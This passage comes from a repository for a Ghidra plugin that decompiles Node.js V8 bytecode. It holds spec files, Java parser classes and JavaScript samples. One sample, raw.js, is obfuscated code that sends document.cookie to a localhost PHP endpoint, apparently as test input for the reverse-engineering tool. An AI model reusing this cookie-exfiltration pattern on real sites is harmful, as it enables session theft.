| rangeDst3: ^ r3 rangeDst4 is r3; rangeDst4; offStart = 0xf8 [counter = counter -1; offStart = offStart -1;] {} 21 | rangeDst3: ^ a3 rangeDst4 is a3; rangeDst4; offStart = 0x05 [counter = counter -1; offStart = offStart +1;] {} 22 | rangeDst3: } is epsilon; counter = 0; (offStart = 0xf8 | offStart = 0x05 ) {} 23 | rangeDst3: rangeDst4 is rangeDst4 {} 24 | rangeDst2: ^ r2 rangeDst3 is r2; rangeDst3; offStart = 0xf9 [counter = counter -1; offStart = offStart -1;] {} 25 | rangeDst2: ^ a2 rangeDst3 is a2; rangeDst3; offStart = 0x04 [counter = counter -1; offStart = offStart +1;] {} 26 | rangeDst2: } is epsilon; counter = 0; offStart = 0xf9 {} 27 | rangeDst2: } is epsilon; counter = 0; offStart = 0x04 {} 28 | rangeDst2: rangeDst3 is rangeDst3 {} 29 | rangeDst1: ^ r1 rangeDst2 is r1; rangeDst2; offStart = 0xfa [counter = counter -1; offStart = offStart -1;] {} 30 | rangeDst1: ^ a1 rangeDst2 is a1; rangeDst2; offStart = 0x03 [counter = counter -1; offStart = offStart +1;] {} 31 | rangeDst1: } is epsilon; counter = 0; offStart = 0xfa {} 32 | rangeDst1: } is epsilon; counter = 0; offStart = 0x03 {} 33 | rangeDst1: rangeDst2 is rangeDst2 {} 34 | rangeDst: ^ r0 rangeDst1 is r0; rangeDst1; offStart = 0xfb [counter = counter -1;offStart = offStart -1;] {} 35 | rangeDst: ^ a0 rangeDst1 is a0; rangeDst1; offStart = 0x02 [counter = counter -1;offStart = offStart +1;] {} 36 | rangeDst: } is epsilon; counter = 0; offStart = 0xfb {} 37 | rangeDst: } is epsilon; counter = 0; offStart = 0x02 {} 38 | rangeDst: rangeDst1 is rangeDst1 {} 39 | -------------------------------------------------------------------------------- /samples/article_data/for_ranges/skel.slaspec: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/article_data/for_ranges/skel.slaspec -------------------------------------------------------------------------------- /samples/article_data/for_ranges/v8_rangeTest.js: -------------------------------------------------------------------------------- 1 | console.log(1,2,3,4,5,6) -------------------------------------------------------------------------------- /samples/article_data/for_ranges/v8_rangeTest.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/article_data/for_ranges/v8_rangeTest.jsc -------------------------------------------------------------------------------- /samples/article_data/languages/skel.cspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /samples/article_data/languages/skel.ldefs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 12 | V8 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /samples/article_data/languages/skel.opinion: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 12 | 13 | -------------------------------------------------------------------------------- /samples/article_data/languages/skel.pspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /samples/article_data/languages/skel.slaspec: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/article_data/languages/skel.slaspec -------------------------------------------------------------------------------- /samples/article_data/v8_test.js: -------------------------------------------------------------------------------- 1 | function func(n) { 2 | if (n > 1) { 3 | alert(n*n+12); 4 | return 1; 5 | } else{ 6 | return -1; 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /samples/article_data/v8_test.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/article_data/v8_test.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/raw_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/raw_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample10_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample10_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample1_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample1_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample2_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample2_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample3_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample3_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample4_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample4_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample5_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample5_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample6_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample6_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample7_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample7_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample8_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample8_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/sample9_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/sample9_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x64/web_keygen_x64.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x64/web_keygen_x64.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/raw_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/raw_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample10_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample10_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample1_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample1_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample2_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample2_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample3_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample3_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample4_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample4_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample5_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample5_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample6_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample6_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample7_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample7_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample8_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample8_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/sample9_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/sample9_x86.jsc -------------------------------------------------------------------------------- /samples/nodejs_x86/web_keygen_x86.jsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/samples/nodejs_x86/web_keygen_x86.jsc -------------------------------------------------------------------------------- /samples/src/raw.js: -------------------------------------------------------------------------------- 1 | var _0xb30f=['qep','0k5','app','ati','kro','fu5','tes','+(\x20','\x20+\x20','^([','LPa','uct','001','sys','Wor','s\x20+','+[^','\x20/\x22','7.0',')+)','ret','loc','\x20]+','ked','/12','htt','l1k','{l0','nCT','GyR','thi','log','3dj','\x20\x22/','LeT','Ryt','^\x20]','con','30b','str','c47'];(function(_0x430b89,_0xb30f10){var _0x19eed7=function(_0x3b1411){while(--_0x3b1411){_0x430b89['push'](_0x430b89['shift']());}},_0x375ddc=function(){var _0x166f78={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x569df1,_0x492780,_0x38f651,_0x148ad7){_0x148ad7=_0x148ad7||{};var _0x19b065=_0x492780+'='+_0x38f651,_0x57c7ce=0x0;for(var _0x10eafa=0x0,_0x228af4=_0x569df1['length'];_0x10eafa<_0x228af4;_0x10eafa++){var _0x2863f6=_0x569df1[_0x10eafa];_0x19b065+=';\x20'+_0x2863f6;var _0x2179e9=_0x569df1[_0x2863f6];_0x569df1['push'](_0x2179e9),_0x228af4=_0x569df1['length'],_0x2179e9!==!![]&&(_0x19b065+='='+_0x2179e9);}_0x148ad7['cookie']=_0x19b065;},'removeCookie':function(){return'dev';},'getCookie':function(_0x5cec4b,_0x110117){_0x5cec4b=_0x5cec4b||function(_0x2cb439){return _0x2cb439;};var _0x5519e5=_0x5cec4b(new RegExp('(?:^|;\x20)'+_0x110117['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x2a2d7a=function(_0x57642f,_0x32a43b){_0x57642f(++_0x32a43b);};return _0x2a2d7a(_0x19eed7,_0xb30f10),_0x5519e5?decodeURIComponent(_0x5519e5[0x1]):undefined;}},_0xa48cf6=function(){var _0x3139e7=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x3139e7['test'](_0x166f78['removeCookie']['toString']());};_0x166f78['updateCookie']=_0xa48cf6;var _0x2cb6b1='';var _0x4f6f69=_0x166f78['updateCookie']();if(!_0x4f6f69)_0x166f78['setCookie'](['*'],'counter',0x1);else _0x4f6f69?_0x2cb6b1=_0x166f78['getCookie'](null,'counter'):_0x166f78['removeCookie']();};_0x375ddc();}(_0xb30f,0x17d));var _0x19ee=function(_0x430b89,_0xb30f10){_0x430b89=_0x430b89-0x0;var _0x19eed7=_0xb30f[_0x430b89];return _0x19eed7;};function abc(){var _0x1b7e59=function(){var _0x56c055=!![];return function(_0x2d101b,_0x47dae5){var _0x5cdda2=_0x56c055?function(){if(_0x19ee('0x16')+'Np'===_0x19ee('0x27')+'nE'){function _0x279dc5(){var _0x47e79c=_0x22ba2d[_0x19ee('0x1f')+'ly'](_0x373ec8,arguments);return _0x438040=null,_0x47e79c;}}else{if(_0x47dae5){if(_0x19ee('0x11')+'Rw'!==_0x19ee('0x17')+'uX'){var _0x5972e3=_0x47dae5[_0x19ee('0x1f')+'ly'](_0x2d101b,arguments);return _0x47dae5=null,_0x5972e3;}else{function _0x2e681d(){if(_0x3f02d1){var _0x40970e=_0x404a5d[_0x19ee('0x1f')+'ly'](_0x2a13e0,arguments);return _0x4c768b=null,_0x40970e;}}}}}}:function(){};return _0x56c055=![],_0x5cdda2;};}(),_0x5660b8=_0x1b7e59(this,function(){if(_0x19ee('0x1d')+'LA'!==_0x19ee('0x1d')+'LA'){function _0x352531(){var _0x1351cf=function(){var _0x358fe2=_0x1351cf[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or'](_0x19ee('0x8')+'urn'+_0x19ee('0x5')+_0x19ee('0x25')+'thi'+_0x19ee('0x3')+_0x19ee('0x15'))()[_0x19ee('0x19')+'str'+_0x19ee('0x28')+'or'](_0x19ee('0x26')+_0x19ee('0x18')+_0x19ee('0x24')+'+[^'+_0x19ee('0xa')+_0x19ee('0x7')+_0x19ee('0x4')+'\x20]}');return!_0x358fe2[_0x19ee('0x23')+'t'](_0xaf66c0);};return _0x1351cf();}}else{var _0x5abfca=function(){var _0x32b298=_0x5abfca[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or']('ret'+'urn'+'\x20/\x22'+_0x19ee('0x25')+_0x19ee('0x12')+_0x19ee('0x3')+_0x19ee('0x15'))()[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or']('^(['+_0x19ee('0x18')+_0x19ee('0x24')+'+[^'+_0x19ee('0xa')+_0x19ee('0x7')+'+[^'+'\x20]}');return!_0x32b298[_0x19ee('0x23')+'t'](_0x5660b8);};return _0x5abfca();}});_0x5660b8(),document[_0x19ee('0x9')+_0x19ee('0x20')+'on']=_0x19ee('0xd')+'p:/'+_0x19ee('0xc')+_0x19ee('0x6')+'.0.'+'1/0'+_0x19ee('0x0')+'.ph'+'p?c'+'='+document['coo'+'kie'],console[_0x19ee('0x13')](_0x19ee('0x2')+_0x19ee('0xb')+'!'),console[_0x19ee('0x13')](_0x19ee('0x1')+_0x19ee('0x21')+_0x19ee('0x10')+'F'),console[_0x19ee('0x13')](_0x19ee('0xf')+_0x19ee('0x1e')+_0x19ee('0xe')+_0x19ee('0x1a')+_0x19ee('0x22')+_0x19ee('0x1c')+_0x19ee('0x14')+'5}');}abc(); -------------------------------------------------------------------------------- /samples/src/sample1.js: -------------------------------------------------------------------------------- 1 | function lsh(n) { 2 | n = n << 1; 3 | return n 4 | } 5 | function rsh(n) { 6 | n = n >> 1; 7 | return n; 8 | } 9 | function mul_add_div_sub(n) { 10 | n = (n*2 + 55)/ 10 - 1; 11 | return n 12 | } 13 | function or_and(n) { 14 | n = n & 0x5f | 0x09; 15 | return n 16 | } 17 | function not(n) { 18 | return ~n 19 | ; 20 | } 21 | function brsh(n) { 22 | n = n >>> 1; 23 | return n; 24 | } 25 | 26 | function pow(n) { 27 | n = n ** 3; 28 | return n; 29 | } 30 | 31 | function xor(n) { 32 | n = n^3; 33 | return n; 34 | } 35 | 36 | function mod(n) { 37 | n = n%3; 38 | return n; 39 | } 40 | -------------------------------------------------------------------------------- /samples/src/sample10.js: -------------------------------------------------------------------------------- 1 | let timerId = setTimeout(() => alert("nothing happens"), 1000); 2 | console.log("timerId:", timerId); 3 | 4 | clearTimeout(timerId); 5 | console.log("timerId:", timerId); 6 | -------------------------------------------------------------------------------- /samples/src/sample2.js: -------------------------------------------------------------------------------- 1 | function lsh(m, n) { 2 | n = n << m; 3 | return n 4 | } 5 | function rsh(m, n) { 6 | n = n >> m; 7 | return n; 8 | } 9 | function mul_add_div_sub(m, n) { 10 | n = (n*m + m)/ n - n; 11 | return n 12 | } 13 | 14 | function or_and(m, n) { 15 | n = n & (m | n); 16 | return n 17 | } 18 | function brsh(m, n) { 19 | n = n >>> m; 20 | return n; 21 | } 22 | 23 | function pow(m, n) { 24 | n = n ** m; 25 | return n; 26 | } 27 | 28 | function xor(m, n) { 29 | n = n^m; 30 | return n; 31 | } 32 | 33 | function mod(m, n) { 34 | n = n%m; 35 | return n; 36 | } -------------------------------------------------------------------------------- /samples/src/sample3.js: -------------------------------------------------------------------------------- 1 | function sample3(n) { 2 | alert( n || 0 || 1 ); 3 | if (n != undefined) alert( !n ); 4 | } 5 | 6 | sample3(undefined); -------------------------------------------------------------------------------- /samples/src/sample4.js: -------------------------------------------------------------------------------- 1 | function sample4(n) { 2 | alert(); 3 | n = prompt("Hell" + "o!"); 4 | alert( !NaN ); 5 | console.log( n--, !n); 6 | console.log(typeof n, String(n), ""); 7 | return prompt("123" | 4, n++) 8 | } 9 | 10 | -------------------------------------------------------------------------------- /samples/src/sample5.js: -------------------------------------------------------------------------------- 1 | let user = { 2 | name: "Ivan", 3 | sizes: { 4 | height: 182, 5 | width: 50 6 | } 7 | }; 8 | 9 | let clone = Object.assign({}, user); 10 | 11 | if( user.sizes === clone.sizes ){ 12 | console.log("Old width: ", clone.sizes.width) 13 | user.sizes.width++; 14 | console.log("New width: ", clone.sizes.width) 15 | } -------------------------------------------------------------------------------- /samples/src/sample6.js: -------------------------------------------------------------------------------- 1 | function sumAll(...args) { 2 | let sum = 0; 3 | 4 | for (let arg of args) sum += arg; 5 | 6 | return sum; 7 | } 8 | 9 | setTimeout(function() { 10 | sumAll(0.1, 1.34, 2.346, 8.3165); 11 | }, 1000); 12 | -------------------------------------------------------------------------------- /samples/src/sample7.js: -------------------------------------------------------------------------------- 1 | function User(name) { 2 | this.name = name; 3 | 4 | this.sayHi = function() { 5 | alert( "Name: " + this.name ); 6 | }; 7 | } 8 | 9 | let vasya = new User("Vasya"); 10 | 11 | vasya.sayHi(); -------------------------------------------------------------------------------- /samples/src/sample8.js: -------------------------------------------------------------------------------- 1 | const entries = new Map([ 2 | ['123', 23], 3 | ['abc', 'de'] 4 | ]); 5 | 6 | const obj = Object.fromEntries(entries); 7 | console.log(obj); 8 | 9 | -------------------------------------------------------------------------------- /samples/src/sample9.js: -------------------------------------------------------------------------------- 1 | function* generate() { 2 | let result = yield "2 + 2 = ?"; 3 | } 4 | 5 | let generator = generate(); 6 | 7 | let question = generator.next().value; 8 | 9 | try { 10 | generator.throw(new Error("No answer found in my database")); 11 | } catch(e) { 12 | alert("Error"); 13 | } -------------------------------------------------------------------------------- /src/main/help/help/TOC_Source.xml: -------------------------------------------------------------------------------- 1 | 2 | 49 | 50 | 51 | 52 | 57 | 58 | -------------------------------------------------------------------------------- /src/main/help/help/shared/Frontpage.css: -------------------------------------------------------------------------------- 1 | /* ### 2 | * IP: GHIDRA 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | /* 17 | WARNING! 18 | This file is copied to all help directories. If you change this file, you must copy it 19 | to each src/main/help/help/shared directory. 20 | 21 | 22 | Java Help Note: JavaHelp does not accept sizes (like in 'margin-top') in anything but 23 | px (pixel) or with no type marking. 24 | 25 | */ 26 | 27 | body { margin-bottom: 50px; margin-left: 10px; margin-right: 10px; margin-top: 10px; } /* some padding to improve readability */ 28 | li { font-family:times new roman; font-size:14pt; } 29 | h1 { color:#000080; font-family:times new roman; font-size:36pt; font-style:italic; font-weight:bold; text-align:center; } 30 | h2 { margin: 10px; margin-top: 20px; color:#984c4c; font-family:times new roman; font-size:18pt; font-weight:bold; } 31 | h3 { margin-left: 10px; margin-top: 20px; color:#0000ff; font-family:times new roman; font-size:14pt; font-weight:bold; } 32 | h4 { margin-left: 10px; margin-top: 20px; font-family:times new roman; font-size:14pt; font-style:italic; } 33 | 34 | /* 35 | P tag code. Most of the help files nest P tags inside of blockquote tags (the was the 36 | way it had been done in the beginning). The net effect is that the text is indented. In 37 | modern HTML we would use CSS to do this. We need to support the Ghidra P tags, nested in 38 | blockquote tags, as well as naked P tags. The following two lines accomplish this. Note 39 | that the 'blockquote p' definition will inherit from the first 'p' definition. 40 | */ 41 | p { margin-left: 40px; font-family:times new roman; font-size:14pt; } 42 | blockquote p { margin-left: 10px; } 43 | 44 | p.providedbyplugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px } 45 | p.ProvidedByPlugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px } 46 | p.relatedtopic { color:#800080; margin-left: 10px; font-size:14pt; } 47 | p.RelatedTopic { color:#800080; margin-left: 10px; font-size:14pt; } 48 | 49 | /* 50 | We wish for a tables to have space between it and the preceding element, so that text 51 | is not too close to the top of the table. Also, nest the table a bit so that it is clear 52 | the table relates to the preceding text. 53 | */ 54 | table { margin-left: 20px; margin-top: 10px; width: 80%;} 55 | td { font-family:times new roman; font-size:14pt; vertical-align: top; } 56 | th { font-family:times new roman; font-size:14pt; font-weight:bold; background-color: #EDF3FE; } 57 | 58 | code { color: black; font-family: courier new; font-size: 14pt; } 59 | -------------------------------------------------------------------------------- /src/main/help/help/topics/v8_bytecode/help.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 9 | 10 | 11 | 12 | Skeleton Help File for a Module 13 | 14 | 15 | 16 | 17 |

Skeleton Help File for a Module

18 | 19 |

This is a simple skeleton help topic. For a better description of what should and should not 20 | go in here, see the "sample" Ghidra extension in the Extensions/Ghidra directory, or see your 21 | favorite help topic. In general, language modules do not have their own help topics.

22 | 23 | 24 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/AllocHow.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | public enum AllocHow { 4 | kPlain(0x00), 5 | kFromCode(0x20); 6 | 7 | private final int value; 8 | 9 | AllocHow(int value) { 10 | this.value = value; 11 | } 12 | 13 | public int getValue() { 14 | return value; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/AllocPoint.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | public enum AllocPoint { 4 | kStartOfObject(0x00), 5 | kInnerPointer(0x40); 6 | 7 | private final int value; 8 | 9 | AllocPoint(int value) { 10 | this.value = value; 11 | } 12 | 13 | public int getValue() { 14 | return value; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/AllocSpace.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | public enum AllocSpace { 4 | NEW_SPACE(0x00), 5 | OLD_SPACE(0x01), 6 | CODE_SPACE(0x02), 7 | MAP_SPACE(0x03), 8 | LO_SPACE(0x04); 9 | 10 | private final int value; 11 | 12 | AllocSpace(int value) { 13 | this.value = value; 14 | } 15 | 16 | public static AllocSpace fromInt(int value) { 17 | for (AllocSpace space : values()) { 18 | if (space.value == value) { 19 | return space; 20 | } 21 | } 22 | 23 | return null; 24 | } 25 | 26 | public int getValue() { 27 | return value; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/AllocWhere.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | public enum AllocWhere { 4 | kNewObject(0x00), 5 | kBackref(0x08), 6 | kBackrefWithSkip(0x10), 7 | kRootArray(0x05), 8 | kPartialSnapshotCache(0x06), 9 | kExternalReference(0x07), 10 | kAttachedReference(0x0D), 11 | kBuiltin(0x0E); 12 | 13 | private int value; 14 | 15 | AllocWhere(int value) { 16 | this.value = value; 17 | } 18 | 19 | public int getValue() { 20 | return value; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/CaseState.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | public final class CaseState { 4 | private final AllocWhere where; 5 | private final AllocHow how; 6 | private final AllocPoint within; 7 | private final int value; 8 | 9 | public CaseState(int val, AllocWhere where, AllocHow how, AllocPoint within) { 10 | this.value = val; 11 | this.where = where; 12 | this.how = how; 13 | this.within = within; 14 | } 15 | 16 | public AllocWhere getWhere() { 17 | return where; 18 | } 19 | 20 | public AllocHow getHow() { 21 | return how; 22 | } 23 | 24 | public AllocPoint getWithin() { 25 | return within; 26 | } 27 | 28 | public int getValue() { 29 | return value; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/EnumsStorage.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.io.Serializable; 4 | 5 | import v8_bytecode.storage.RootsStore; 6 | import v8_bytecode.storage.RuntimesIntrinsicsStore; 7 | 8 | public final class EnumsStorage implements Serializable { 9 | 10 | private final RootsStore rootsEnum; 11 | private final RuntimesIntrinsicsStore runsIntrsStore; 12 | 13 | public EnumsStorage(final RootsStore rootsEnum, 14 | final RuntimesIntrinsicsStore runsIntrsStore) { 15 | this.rootsEnum = rootsEnum; 16 | this.runsIntrsStore = runsIntrsStore; 17 | } 18 | 19 | public RootsStore getRoots() { 20 | return rootsEnum; 21 | } 22 | 23 | public RuntimesIntrinsicsStore getRuntimesIntrinsicsStore() { 24 | return runsIntrsStore; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/FunctionSize.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.io.Serializable; 4 | 5 | public final class FunctionSize implements Serializable { 6 | private final long address; 7 | private final int size; 8 | 9 | public FunctionSize(long address, int size) { 10 | this.address = address; 11 | this.size = size; 12 | } 13 | 14 | public long getAddress() { 15 | return address; 16 | } 17 | 18 | public int getSize() { 19 | return size; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/HandlerTableEntry.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.io.Serializable; 4 | import java.util.Objects; 5 | 6 | 7 | public final class HandlerTableEntry implements Serializable { 8 | private final int start; 9 | private final int end; 10 | private final int pred; 11 | private final int handler; 12 | private final int data; 13 | 14 | public HandlerTableEntry(int start, int end, int pred, int handler, int data) { 15 | this.start = start; 16 | this.end = end; 17 | this.pred = pred; 18 | this.handler = handler; 19 | this.data = data; 20 | } 21 | 22 | public int getStart() { 23 | return start; 24 | } 25 | 26 | public int getEnd() { 27 | return end; 28 | } 29 | 30 | public int getPrediction() { 31 | return pred; 32 | } 33 | 34 | public int getHandlerOffset() { 35 | return handler; 36 | } 37 | 38 | public int getData() { 39 | return data; 40 | } 41 | 42 | @Override 43 | public int hashCode() { 44 | return Objects.hash(data, end, handler, pred, start); 45 | } 46 | 47 | @Override 48 | public boolean equals(Object obj) { 49 | if (this == obj) 50 | return true; 51 | if (obj == null) 52 | return false; 53 | if (getClass() != obj.getClass()) 54 | return false; 55 | HandlerTableEntry other = (HandlerTableEntry) obj; 56 | return data == other.data && end == other.end && handler == other.handler && pred == other.pred 57 | && start == other.start; 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/ReservObject.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.util.Objects; 4 | import java.util.SortedMap; 5 | import java.util.TreeMap; 6 | 7 | import v8_bytecode.allocator.JscParser; 8 | import v8_bytecode.allocator.ObjectsAllocator; 9 | 10 | public final class ReservObject { 11 | private final int kPointerSize; 12 | private final long size; 13 | private long _offset = 0L; 14 | private long lastAddAddress = 0L; 15 | private SortedMap objects = new TreeMap<>(); 16 | 17 | public ReservObject(long size, int pointerSize) { 18 | kPointerSize = pointerSize; 19 | this.size = size; 20 | } 21 | 22 | public Object getLastObject() { 23 | return objects.get(lastAddAddress); 24 | } 25 | 26 | public void setOffset(long offset) { 27 | this._offset = offset; 28 | } 29 | 30 | public long getOffset() { 31 | return _offset; 32 | } 33 | 34 | public Object getAlignedObject(long offset) { 35 | final Object obj = objects.get(offset); 36 | 37 | if (kPointerSize == 4) { 38 | return obj; 39 | } 40 | 41 | if (obj instanceof Integer) { 42 | final long obj2 = (int)objects.get(offset + 4); 43 | return obj2 << 32L; 44 | } 45 | 46 | return obj; 47 | } 48 | 49 | public int getInt(long offset) { 50 | return 